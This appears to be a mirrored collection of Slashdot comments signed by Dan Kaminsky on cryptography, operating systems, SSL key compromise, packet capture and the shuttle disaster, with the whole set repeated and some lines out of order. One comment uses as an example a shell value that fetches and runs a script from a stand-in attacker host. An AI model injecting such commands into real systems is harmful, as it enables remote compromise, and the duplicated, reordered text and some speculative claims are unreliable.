Well... if your two primes are p-1 and p+1 you could use them as the primes in the RSA algorithm. I mean, it's not like it's trivial to break a composite number of the form p^2-1.:-)
Took me a minute to realize why this was marked funny...basically, the square root of your dual-prime composite is approximately p:-)
You'd need to have a multi-partition CD, one with the fixed-size compressed file system that Knoppix uses to get ~2GB material on a 700MB CD, the other to support the RW'able space.
Not a bad idea, but you'd only be able to rewrite using RW drives.
Where I'm putting my energies into is a better COW(Copy on Write) model for Knoppix, so I can apt-get particular applications as needed and have writability against/usr.
The satphones are effectively really high power transmitters, attempting to transmit a signal to an antenna hundreds of miles ahead. If it's possible to sniff the GPS signal, it's possible to triangulate the location of its emitter.
This ban makes it harder to track down the journalists, but not impossible. It does require three sensors in mutual contact, instead of one lone sniffer -- this is true.
I suspect there are signs they know where we are, and we're worried these phones are the reason why.
Mathematicians described the advance -- announced at a conference in Germany -- as the most important breakthrough in the field in decades.
Personally, I think the technique for provably determining the primality of an arbitrary number in polynomial time -- "PRIMES is in P" -- was a more unexpected result. It's always seemed like the probability of a twin prime occuring on the number continuum was a limit approaching but never quite reaching 0 -- an artifact of the number of previous primes already "exposed" approaching, but never reaching infinity. But actually sitting down and proving this -- excellent! Very cool.
"Computer science is the art of using a bulldozer to put your problems in someone else's backyard."
I respect what Jon's trying to say here, and he's not entirely wrong...but it's a bit more complicated than he thinks.
He seems to believe there's a direct correlation between bare metal risk and high level safety. This just isn't entirely accurate. For example, shell scripting is extraordinarily high level code; you're literally directing individually compiled applications to do your dirty work. And yet, someting as simple as setting a variable to `wget http://www.attacker.com/attack.sh; sh./attack.sh` will cause a simple variable extraction to be suddenly expanded into a remote root.
The barrier between information and instruction exists, but remains permeable, in all domains. Bare metal programmers and high level scripters each have their own issues to worry about.
High level languages have the advantage that the programmer can expect large amounts of checking to occur behind the scenes, "saving them the trouble" of doing checks they wouldn't actually do themselves. In some sense, this is very much automation work -- precisely what computers are good at. Unfortunately, large amounts of complex mechanisms operating behind the scenes without the programmer's awareness of or control over -- such is the direct cause of innumerable failures, faults, and security breaches. The above example -- single-back-quote expansion of a value into the result of the enclosed command -- is a reflection of an "unknown capability" that easily exposes any otherwise correct code built upon it.
Low level languages, to be blunt, provide fewer services, such that those services that are provided are within the range of the programmer's understanding. The problem is that very quickly, the programmer wants and needs more -- and suddenly, the environment doesn't already have base components necessary to build required functions. So libraries are brought in, sometimes even referred to as standard, and as the quote goes -- Library Design is Language Design. Maybe you're left with HLL-ish monoliths like glib, or perhaps barely thought out hacks that still depend on strcpy(copy until there's a null terminator into this fixed sized buffer...oops, hope nobody overflows this), or in the ideal, secure code case, your infrastructure exposes precisely that level of functionality required to deploy the system, and no more.
The last step is the only way to genuinely handle hostile input and expect a positive outcome. HLL's guarantee some level of failure in one case while automatically protecting against entire other classes of attacks in another. This would seem to be the essence of business -- risk management. But in code, "managing risk" in this manner can actually create risk itself, through the fault of monoculture: If everyone has the same solution, everybody's vulnerable to the same fatal flaw. When everybody and everything depends on precisely the same checks and balances, there's absolutely no robustness -- once the systemic failure is discovered, it can be exploited universally. Monoculture -- both in the protection mechanisms that are deployed, and in the run-time failure models that are exposed (too much is kept identical at runtime that has not been explicitly juxtaposed by the programmer) -- is death in biological systems, and needs to be curtailed more than it already has been.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
I don't entirely understand why mainframe work should be much more mind-numbing than point-and-click or shell-hopping. Would somebody with AS/400 experience explain what makes administration of the machines completely non-automatable, and thus requiring massive amounts of repetitive input?
I'm going to go out on a limb here and discuss what might be going on here.
A while back, I read a fascinating article about the untwirling of highly viscous liquids in a glass container. Essentially, they took taffy with patterns of food coloring in it and spun it around with a stirring rod enough times such that the entire multicolored glob merged into one single colored mass. This part wasn't surprising. What was surprising was when they reversed the direction of the stirring rod, and the original pattern embedded in the taffy slowly but surely returned. Basically, the mixing was only occuring on the macro scale -- on the micro level, all those organic chains were still stuck together, and were just being wrapped around eachother; they never merged.
The only rational explanation for what's going on with a lens that, lets face it, reduces the entropy of an incoming signal, is that streams of photons are attached to eachother like chains of organic compounds, and though these chains may get twisted together, they retain their particular interconnectiveness. This isn't a stretch at all -- the whole point of particle/wave duality is that light cannot be understood entirely as a particle or a wave, but as a combination of both. Left-hand rule materials untwisting photon chains as left-turning stirring rods untwisted organic chains wouldn't violate any rules of physics or thermodynamics then; there's no magic addition of information to the system, there was simply more information embedded in each photon than we originally presumed.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
P.S. Of course, I may just think this because I greatly like the idea of photons obeying the laws of TCP.
They're intimately tied to their position along the integer continuum. It's just that the complexity of determining primality (the information content, in fact) increases with the position.
Modern Intel CPU's don't execute x86 internally -- they recompile it into a vastly different microcode instruction set for performance purposes. They even cache the results of the translation circuitry to maximize efficiency.
In other words...Intel CPU's are basically extremely high quality x86 emulators.
Apple has never shipped a Macintosh environment for x86. The closest I'm aware of is Quicktime for PC, which is arguably a total cluster. The only Mac emulator I am aware of is Executor, and as you say -- it indeed sucked.
However, do be careful about hasty generalizations. You think that's x86 your CPU's breathing?
What can I say? I assumed a "run time mac" was a typo...what, they have a "compile time mac" right now?
If there's some other meaning that I'm unaware of -- maybe a "macintosh emulation environment for x86, a la Executor" -- I'm more than happy to discover your alternate understanding.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Hmmmm. I was originally going to say I didn't think Apple really merged with NeXT...but I've got to admit, they went through a company-changing transition, quite frankly one that I'm surprised they pulled off with such aplomb (they fired like half their UI team!). So I'll admit it: Dvorak was wrong.
Who could have predicted the sheer power of the Steve Jobs Reality Distortion Field?
Yes, the advantage of Unix is that it's easy to program. The advantage of Total Air Superiority in wartime is that you can blow up anything you can target. "That's it?" Well, yes, but it sort of has huge consequences for everything that follows.
It's not just that Unix is incredibly scalable, manageable, and flexible. It's also that what it has, it exposes remarkably well.
Windows is more than just a monolithic kernel, it's a monolithic environment -- everything from the user putting a CD-ROM into a drive to the contents of the disk being installed into the kernel as a device driver is specified quite explicitly by the vendor. Compare this to 1994, when Windows 3.1 barely climbed above DOS, and reflect that ten years later even Win9x is about to be EoL'd. MS is struggling at the server level, but for clients -- it's barely a fight.
I think what you're forgetting is how crappy desktops were in '94. It's much more significant that pre-emptive multitasking and hard memory protection have become popular than, say, whether a monolithic kernel or a microkernel are being used.
Man. I'm defending Dvorak. I feel somehow...dirty.
MacOS, through 9, used cooperative multitasking, and wasn't hugely stable. MacOSX has single digit latency for audio, under load. Perfectly realtime, no -- but results are results.
The real unix is an archaic command line.
Indeed, it is. Who do you know who seriously administers their Linux server using anything but a shell prompt? Webmin is the exception, but it's written in Perl, the ultimate command line language:-)
Unix has no advantage except it's easy to program
I'll buy that. Easy to program means less of a barrier to entry for interesting and innovative tech. There's a *huge* barrier for Windows coding, and while in some ways the gains once you climb that barrier are quite stunning (DirectX), it's undeniable that significant amounts of code simply haven't shown up on the Windows platform because it's so insanely idiosyncratic.
Unix is old fashioned in its design
The core concepts are 30 years old. There are regions of brilliance, but the overall architecture is old. What's very new is the Web, which (as I've been arguing) was the first truly effective separation of presentation and implementation. Unix adapted shockingly well to the web, to no small part because of that ease of programming and the fact that text munging has always been a Unix speciality. It was the Web that was the way of the future, and it's here that Dvorak was wrong. But if there had been no Web, the world would indeed have moved to NT. Clients, in fact, already have.
Can't really fault Dvorak for not seeing the potential of the Web back then. When I wrote my first web page in 1994, Mosaic didn't even have JPEG support compiled in by default; I used Lynx, if not W3M, and gopher was still the exciting thing. It wasn't really until the death of multimedia that the web really started to grow.
Mind you, I'm not a huge booster of the guy, but your arguments against him aren't very good.
First of all, thank you for agreeing to be interviewed here. It's greatly appreciated.
I'm curious if you wouldn't mind elaborating a bit on the catastrophic failure of the SSL security architecture given the compromise of an RSA private key. An attacker can literally sniff all traffic for a year, break in once to steal the key, then continue to passively decrypt not only all of last year's traffic but all of next year's too. And if he'd like to partake in more active attacks -- session hijacking, malicious data insertion, etc. -- that's fine too.
In short, why? After so much work was done to come up with a secure per-session master secret, what caused the asymmetric component to be left so vulnerable? Yes, PGP's just as vulnerable to this failure mode, but PGP doesn't have the advantage of a live socket to the other host.
More importantly, what can be done for those nervous about this shortcoming in an otherwise laudable architecture? I looked at the DSA modes, but nothing seems to accelerate them (which kills its viability for the sites who would need it most). Ephemeral RSA seemed interesting, but according to Rescola's documentation it only supports a maximum of 512 bits for the per-session asymmetric key -- insufficient. If Verisign would sign a newly generated key each day, that'd work -- but then, you'd probably need to sign over part of your company to afford the service. Would it even be possible for them to sign one long term key, tied to a single fully qualified domain name, that could then sign any number of ephemeral or near-ephemeral short term keys within the timeframe allotted in the long term cert?
Thanks again for any insight on the matter you may be able to provide!
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
You might want to try out FreeBSD -- if it was any faster, you'd probably transmute ethernet into firewire (and sustain 3rd degree burns in the process).
I gather you're monitoring latency between two ports on the same host, as opposed to a multihost system?
--Dan www.doxpara.com
Re:Need 2.2 for microsecond packet timing.
on
Kernel 2.2 - It Lives!
·
· Score: 3, Informative
Chmarr--
Try this:
int immediate = 1;...
ioctl(pcap_fileno(pcap), BIOCIMMEDIATE, &immediate);
Does screw with some nonblocking modes, though.
Another quick tip: __attribute__ ((packed)); after your structure declarations will make structs vastly nicer to apply against raw packets in a cross platform manner.
Whatcha trying to write?
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Note this is a problem for the cell phone industry, not for the airplanes themselves. And while the phones see more stations, they see them over relatively unpopulated regions (planes generally try to fly over sparser regions of land).
Anyway, it wouldn't be hard to charge more to, or ban those individual phones that do more than n tower changes per minute, and it'd be particularly logical to place base stations and centralized retransmitters in each plane.
Best I can tell, nobody seriously believes cell phones pose any genuine threat to aviation. We're not talking "Nobody believes marijuana is deadly"; I'd be surprised if there was any expert testimony claiming any risk at all outside that single courtroom. That being said, the decision was somewhat horrifying but necessary: When you've got hundreds of people in the air (and untold number on the ground depending on the plane flying, perhaps not landing on their head), you don't want individual passengers demanding the ultimate say over what is and isn't safe to do on the plane. Something as simple as, say, hairspray, a lighter, and a screwdriver can combine rather explosively, and they're all independently pretty safe. They're also all quite banned on carryon.
If cell phones posed any threat at all, you'd be required to stow them in a faraday-caged box by the door.
It's not entirely impossible that the ban originally arose out of a desire to make large amounts of money on the massively overpriced phones. Having begun the process of removing the ridiculously underused contraptions, maybe we'll see business travelers wooed back to flights by offering cell phone shielding, probably even on-plane base stations. Think about it.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Saw this image first thing in the morning, barely conscious, and thought, "uhnnnn...wha? some new map of the earth?"
Then I realized what I was looking at. Funny, how the eye can see familiar patterns in everything...throw the Americas in the center, Europe on the right, Africa lower right, Asia off to the left with Australia at the far left bottom corner...
Hell, even "South America" and "Africa" look like they could fit together.
The point is that Nokia has realized that the cell phone is a genuinely asstastic action gaming platform, but the delivery mechanism for the games can't be beat. So whether they're hyping it or not, network game delivery is *the* next big thing that carriers are going to be able to support.
Pay by the day. Pay by the month. "Lifetime subscription." Whatever. The carts are so hard to get access to because eventually you wont use the carts.
The hand check is there because it's the most accurate method known -- our brains are ridiculously accurate pattern matchers. Making machines that can automatically approximate a tenth of the accuracy of a human being at complex recognition tasks is a major feat.
As for the aerodynamic stresses...it's certainly possible. But I suspect the entire frame was built to be resilient against the loss of a small tile directly exposed to searing heat and pressure...if it wasn't, we'd be celebrating shuttles that successfully landed -- do you realize how many tiles are on the shuttle?
This may have been a freak occurance. God knows, everything else about this is...
1) As has been mentioned, there was no missle fired that could hit 200,000 feet. Iraq may have built a "supergun" with the capability to launch objects into space, but a) its firing would have been pretty obvious and b) the odds of it hitting its target are about zero, while the chance of its discovery was absolute. So no -- this wasn't a surface-to-air attack.
2) Neither was it some kind of EMP pulse. Ignoring the height, this is a ship that needs to be able to survive the extraordinarily hostile EMP environment of space -- that magnetic field that the sun's particles slam into, giving us those nice Auroras, don't exist where the shuttle goes. The ship was built to withstand EMP -- the odds of a remotely invoked meltdown in its electronics are effectively nil.
3) No, they couldn't have known it was going to fail. Random crap happens all the time, even small tiles of foam coming off. The ships are built to be four-times redundant; you don't want your ship falling apart if a simple tile comes off. I'd be surprised if this had anything to do with the insulation stripping off.
4) No, the space program is not going to be shut down. To be blunt, China ain't going anywhere but up, and with an entirely fresh, completely modern space program at that. This is a tragedy. This is horrifying. But there will be future missions.
Now if you'll excuse me, I'm going to go mourn now.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Slashdot Mirror
Well... if your two primes are p-1 and p+1 you could use them as the primes in the RSA algorithm. I mean, it's not like it's trivial to break a composite number of the form p^2-1. :-)
:-)
Took me a minute to realize why this was marked funny...basically, the square root of your dual-prime composite is approximately p
--Dan
You'd need to have a multi-partition CD, one with the fixed-size compressed file system that Knoppix uses to get ~2GB material on a 700MB CD, the other to support the RW'able space.
/usr.
Not a bad idea, but you'd only be able to rewrite using RW drives.
Where I'm putting my energies into is a better COW(Copy on Write) model for Knoppix, so I can apt-get particular applications as needed and have writability against
--Dan
The satphones are effectively really high power transmitters, attempting to transmit a signal to an antenna hundreds of miles ahead. If it's possible to sniff the GPS signal, it's possible to triangulate the location of its emitter.
This ban makes it harder to track down the journalists, but not impossible. It does require three sensors in mutual contact, instead of one lone sniffer -- this is true.
I suspect there are signs they know where we are, and we're worried these phones are the reason why.
--Dan
Mathematicians described the advance -- announced at a conference in Germany -- as the most important breakthrough in the field in decades.
Personally, I think the technique for provably determining the primality of an arbitrary number in polynomial time -- "PRIMES is in P" -- was a more unexpected result. It's always seemed like the probability of a twin prime occuring on the number continuum was a limit approaching but never quite reaching 0 -- an artifact of the number of previous primes already "exposed" approaching, but never reaching infinity. But actually sitting down and proving this -- excellent! Very cool.
--Dan
"Computer science is the art of using a bulldozer to put your problems in someone else's backyard."
./attack.sh` will cause a simple variable extraction to be suddenly expanded into a remote root.
I respect what Jon's trying to say here, and he's not entirely wrong...but it's a bit more complicated than he thinks.
He seems to believe there's a direct correlation between bare metal risk and high level safety. This just isn't entirely accurate. For example, shell scripting is extraordinarily high level code; you're literally directing individually compiled applications to do your dirty work. And yet, someting as simple as setting a variable to `wget http://www.attacker.com/attack.sh; sh
The barrier between information and instruction exists, but remains permeable, in all domains. Bare metal programmers and high level scripters each have their own issues to worry about.
High level languages have the advantage that the programmer can expect large amounts of checking to occur behind the scenes, "saving them the trouble" of doing checks they wouldn't actually do themselves. In some sense, this is very much automation work -- precisely what computers are good at. Unfortunately, large amounts of complex mechanisms operating behind the scenes without the programmer's awareness of or control over -- such is the direct cause of innumerable failures, faults, and security breaches. The above example -- single-back-quote expansion of a value into the result of the enclosed command -- is a reflection of an "unknown capability" that easily exposes any otherwise correct code built upon it.
Low level languages, to be blunt, provide fewer services, such that those services that are provided are within the range of the programmer's understanding. The problem is that very quickly, the programmer wants and needs more -- and suddenly, the environment doesn't already have base components necessary to build required functions. So libraries are brought in, sometimes even referred to as standard, and as the quote goes -- Library Design is Language Design. Maybe you're left with HLL-ish monoliths like glib, or perhaps barely thought out hacks that still depend on strcpy(copy until there's a null terminator into this fixed sized buffer...oops, hope nobody overflows this), or in the ideal, secure code case, your infrastructure exposes precisely that level of functionality required to deploy the system, and no more.
The last step is the only way to genuinely handle hostile input and expect a positive outcome. HLL's guarantee some level of failure in one case while automatically protecting against entire other classes of attacks in another. This would seem to be the essence of business -- risk management. But in code, "managing risk" in this manner can actually create risk itself, through the fault of monoculture: If everyone has the same solution, everybody's vulnerable to the same fatal flaw. When everybody and everything depends on precisely the same checks and balances, there's absolutely no robustness -- once the systemic failure is discovered, it can be exploited universally. Monoculture -- both in the protection mechanisms that are deployed, and in the run-time failure models that are exposed (too much is kept identical at runtime that has not been explicitly juxtaposed by the programmer) -- is death in biological systems, and needs to be curtailed more than it already has been.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
I don't entirely understand why mainframe work should be much more mind-numbing than point-and-click or shell-hopping. Would somebody with AS/400 experience explain what makes administration of the machines completely non-automatable, and thus requiring massive amounts of repetitive input?
--Dan
I'm going to go out on a limb here and discuss what might be going on here.
A while back, I read a fascinating article about the untwirling of highly viscous liquids in a glass container. Essentially, they took taffy with patterns of food coloring in it and spun it around with a stirring rod enough times such that the entire multicolored glob merged into one single colored mass. This part wasn't surprising. What was surprising was when they reversed the direction of the stirring rod, and the original pattern embedded in the taffy slowly but surely returned. Basically, the mixing was only occuring on the macro scale -- on the micro level, all those organic chains were still stuck together, and were just being wrapped around eachother; they never merged.
The only rational explanation for what's going on with a lens that, lets face it, reduces the entropy of an incoming signal, is that streams of photons are attached to eachother like chains of organic compounds, and though these chains may get twisted together, they retain their particular interconnectiveness. This isn't a stretch at all -- the whole point of particle/wave duality is that light cannot be understood entirely as a particle or a wave, but as a combination of both. Left-hand rule materials untwisting photon chains as left-turning stirring rods untwisted organic chains wouldn't violate any rules of physics or thermodynamics then; there's no magic addition of information to the system, there was simply more information embedded in each photon than we originally presumed.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
P.S. Of course, I may just think this because I greatly like the idea of photons obeying the laws of TCP.
They're intimately tied to their position along the integer continuum. It's just that the complexity of determining primality (the information content, in fact) increases with the position.
Randomness is not actually entropy.
--Dan
What, never seen the Matrix? :-)
Modern Intel CPU's don't execute x86 internally -- they recompile it into a vastly different microcode instruction set for performance purposes. They even cache the results of the translation circuitry to maximize efficiency.
In other words...Intel CPU's are basically extremely high quality x86 emulators.
--Dan
00NOP--
Apple has never shipped a Macintosh environment for x86. The closest I'm aware of is Quicktime for PC, which is arguably a total cluster. The only Mac emulator I am aware of is Executor, and as you say -- it indeed sucked.
However, do be careful about hasty generalizations. You think that's x86 your CPU's breathing?
--Dan
What can I say? I assumed a "run time mac" was a typo...what, they have a "compile time mac" right now?
If there's some other meaning that I'm unaware of -- maybe a "macintosh emulation environment for x86, a la Executor" -- I'm more than happy to discover your alternate understanding.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Hmmmm. I was originally going to say I didn't think Apple really merged with NeXT...but I've got to admit, they went through a company-changing transition, quite frankly one that I'm surprised they pulled off with such aplomb (they fired like half their UI team!). So I'll admit it: Dvorak was wrong.
Who could have predicted the sheer power of the Steve Jobs Reality Distortion Field?
Yes, the advantage of Unix is that it's easy to program. The advantage of Total Air Superiority in wartime is that you can blow up anything you can target. "That's it?" Well, yes, but it sort of has huge consequences for everything that follows.
It's not just that Unix is incredibly scalable, manageable, and flexible. It's also that what it has, it exposes remarkably well.
Windows is more than just a monolithic kernel, it's a monolithic environment -- everything from the user putting a CD-ROM into a drive to the contents of the disk being installed into the kernel as a device driver is specified quite explicitly by the vendor. Compare this to 1994, when Windows 3.1 barely climbed above DOS, and reflect that ten years later even Win9x is about to be EoL'd. MS is struggling at the server level, but for clients -- it's barely a fight.
I think what you're forgetting is how crappy desktops were in '94. It's much more significant that pre-emptive multitasking and hard memory protection have become popular than, say, whether a monolithic kernel or a microkernel are being used.
Man. I'm defending Dvorak. I feel somehow...dirty.
--Dan
Well, lets see...
:-)
Apple will die if it merges.
Who'd they merge with?
Apple needs to make a real-time Mac
MacOS, through 9, used cooperative multitasking, and wasn't hugely stable. MacOSX has single digit latency for audio, under load. Perfectly realtime, no -- but results are results.
The real unix is an archaic command line.
Indeed, it is. Who do you know who seriously administers their Linux server using anything but a shell prompt? Webmin is the exception, but it's written in Perl, the ultimate command line language
Unix has no advantage except it's easy to program
I'll buy that. Easy to program means less of a barrier to entry for interesting and innovative tech. There's a *huge* barrier for Windows coding, and while in some ways the gains once you climb that barrier are quite stunning (DirectX), it's undeniable that significant amounts of code simply haven't shown up on the Windows platform because it's so insanely idiosyncratic.
Unix is old fashioned in its design
The core concepts are 30 years old. There are regions of brilliance, but the overall architecture is old. What's very new is the Web, which (as I've been arguing) was the first truly effective separation of presentation and implementation. Unix adapted shockingly well to the web, to no small part because of that ease of programming and the fact that text munging has always been a Unix speciality. It was the Web that was the way of the future, and it's here that Dvorak was wrong. But if there had been no Web, the world would indeed have moved to NT. Clients, in fact, already have.
Can't really fault Dvorak for not seeing the potential of the Web back then. When I wrote my first web page in 1994, Mosaic didn't even have JPEG support compiled in by default; I used Lynx, if not W3M, and gopher was still the exciting thing. It wasn't really until the death of multimedia that the web really started to grow.
Mind you, I'm not a huge booster of the guy, but your arguments against him aren't very good.
--Dan
Paul,
First of all, thank you for agreeing to be interviewed here. It's greatly appreciated.
I'm curious if you wouldn't mind elaborating a bit on the catastrophic failure of the SSL security architecture given the compromise of an RSA private key. An attacker can literally sniff all traffic for a year, break in once to steal the key, then continue to passively decrypt not only all of last year's traffic but all of next year's too. And if he'd like to partake in more active attacks -- session hijacking, malicious data insertion, etc. -- that's fine too.
In short, why? After so much work was done to come up with a secure per-session master secret, what caused the asymmetric component to be left so vulnerable? Yes, PGP's just as vulnerable to this failure mode, but PGP doesn't have the advantage of a live socket to the other host.
More importantly, what can be done for those nervous about this shortcoming in an otherwise laudable architecture? I looked at the DSA modes, but nothing seems to accelerate them (which kills its viability for the sites who would need it most). Ephemeral RSA seemed interesting, but according to Rescola's documentation it only supports a maximum of 512 bits for the per-session asymmetric key -- insufficient. If Verisign would sign a newly generated key each day, that'd work -- but then, you'd probably need to sign over part of your company to afford the service. Would it even be possible for them to sign one long term key, tied to a single fully qualified domain name, that could then sign any number of ephemeral or near-ephemeral short term keys within the timeframe allotted in the long term cert?
Thanks again for any insight on the matter you may be able to provide!
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
You might want to try out FreeBSD -- if it was any faster, you'd probably transmute ethernet into firewire (and sustain 3rd degree burns in the process).
I gather you're monitoring latency between two ports on the same host, as opposed to a multihost system?
--Dan
www.doxpara.com
Chmarr--
...
Try this:
int immediate = 1;
ioctl(pcap_fileno(pcap), BIOCIMMEDIATE, &immediate);
Does screw with some nonblocking modes, though.
Another quick tip: __attribute__ ((packed)); after your structure declarations will make structs vastly nicer to apply against raw packets in a cross platform manner.
Whatcha trying to write?
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Note this is a problem for the cell phone industry, not for the airplanes themselves. And while the phones see more stations, they see them over relatively unpopulated regions (planes generally try to fly over sparser regions of land).
Anyway, it wouldn't be hard to charge more to, or ban those individual phones that do more than n tower changes per minute, and it'd be particularly logical to place base stations and centralized retransmitters in each plane.
--Dan
Best I can tell, nobody seriously believes cell phones pose any genuine threat to aviation. We're not talking "Nobody believes marijuana is deadly"; I'd be surprised if there was any expert testimony claiming any risk at all outside that single courtroom. That being said, the decision was somewhat horrifying but necessary: When you've got hundreds of people in the air (and untold number on the ground depending on the plane flying, perhaps not landing on their head), you don't want individual passengers demanding the ultimate say over what is and isn't safe to do on the plane. Something as simple as, say, hairspray, a lighter, and a screwdriver can combine rather explosively, and they're all independently pretty safe. They're also all quite banned on carryon.
If cell phones posed any threat at all, you'd be required to stow them in a faraday-caged box by the door.
It's not entirely impossible that the ban originally arose out of a desire to make large amounts of money on the massively overpriced phones. Having begun the process of removing the ridiculously underused contraptions, maybe we'll see business travelers wooed back to flights by offering cell phone shielding, probably even on-plane base stations. Think about it.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Nitpick--
Tsk tsk, a straightforward answer from the Vorlons? You must be joking.
Who are you? "We are..." "Who are you?"
--Dan
As mentioned elsewhere, dialog is the real killer of an Aliens vs. Predator movie. There's only so much grunting a movie audience can take.
Borg vs. the Vorlons. This actually could be moderately fascinating...
--Dan
Um, Gene?
That's not a map of earth. That's a map of the universe -- more accurately, of weak microwave distribution throughout the universe.
I was pointing out that it *vaguely* matches the profile of the continents of earth.
--Dan
Saw this image first thing in the morning, barely conscious, and thought, "uhnnnn...wha? some new map of the earth?"
Then I realized what I was looking at. Funny, how the eye can see familiar patterns in everything...throw the Americas in the center, Europe on the right, Africa lower right, Asia off to the left with Australia at the far left bottom corner...
Hell, even "South America" and "Africa" look like they could fit together.
--Dan
Um, people. Lets talk obviousness.
The point is that Nokia has realized that the cell phone is a genuinely asstastic action gaming platform, but the delivery mechanism for the games can't be beat. So whether they're hyping it or not, network game delivery is *the* next big thing that carriers are going to be able to support.
Pay by the day. Pay by the month. "Lifetime subscription." Whatever. The carts are so hard to get access to because eventually you wont use the carts.
--Dan
The hand check is there because it's the most accurate method known -- our brains are ridiculously accurate pattern matchers. Making machines that can automatically approximate a tenth of the accuracy of a human being at complex recognition tasks is a major feat.
As for the aerodynamic stresses...it's certainly possible. But I suspect the entire frame was built to be resilient against the loss of a small tile directly exposed to searing heat and pressure...if it wasn't, we'd be celebrating shuttles that successfully landed -- do you realize how many tiles are on the shuttle?
This may have been a freak occurance. God knows, everything else about this is...
--Dan
OK:
1) As has been mentioned, there was no missle fired that could hit 200,000 feet. Iraq may have built a "supergun" with the capability to launch objects into space, but a) its firing would have been pretty obvious and b) the odds of it hitting its target are about zero, while the chance of its discovery was absolute. So no -- this wasn't a surface-to-air attack.
2) Neither was it some kind of EMP pulse. Ignoring the height, this is a ship that needs to be able to survive the extraordinarily hostile EMP environment of space -- that magnetic field that the sun's particles slam into, giving us those nice Auroras, don't exist where the shuttle goes. The ship was built to withstand EMP -- the odds of a remotely invoked meltdown in its electronics are effectively nil.
3) No, they couldn't have known it was going to fail. Random crap happens all the time, even small tiles of foam coming off. The ships are built to be four-times redundant; you don't want your ship falling apart if a simple tile comes off. I'd be surprised if this had anything to do with the insulation stripping off.
4) No, the space program is not going to be shut down. To be blunt, China ain't going anywhere but up, and with an entirely fresh, completely modern space program at that. This is a tragedy. This is horrifying. But there will be future missions.
Now if you'll excuse me, I'm going to go mourn now.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com